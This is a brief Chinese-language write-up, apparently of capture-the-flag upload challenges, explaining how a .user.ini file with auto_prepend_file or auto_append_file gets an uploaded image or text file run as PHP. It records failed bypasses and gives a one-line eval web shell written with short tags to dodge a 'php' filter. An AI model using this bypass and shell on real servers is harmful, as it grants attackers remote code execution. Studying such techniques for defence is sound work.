文件上传--php user.ini详解

文件上传

参考文档:https://www.php.net/manual/zh/configuration.file.per-user.php

如果你的 PHP 以模块化运行在 Apache 里,则用 <var class="filename">.htaccess</var> 文件有同样效果。

auto_prepend_file 表示在每个PHP脚本之前自动加载指定的文件。该文件的内容将被插入到原始脚本的顶部。

auto_prepend_file="shell.png"

auto_append_file 这个是指内容添加到文末,如果有exit会无法调用到

文件上传一

修改后缀--失败

大小写,php3等等--没有显示错误,上传成功

尝试访问图片--没有被解析,下载到了本地

尝试00截断--失败

使用.user.ini 使用auto_prepend_file="shell.png"

上传shell.png

成功

文件上传二:

上传一个普通的png文件:发现路径

上传.user.ini文件 使用 auto_append_file="1.txt"

上传1.txt

上传失败疑似是过滤php,使用简写<?=@eval($_POST[x]);?>

成功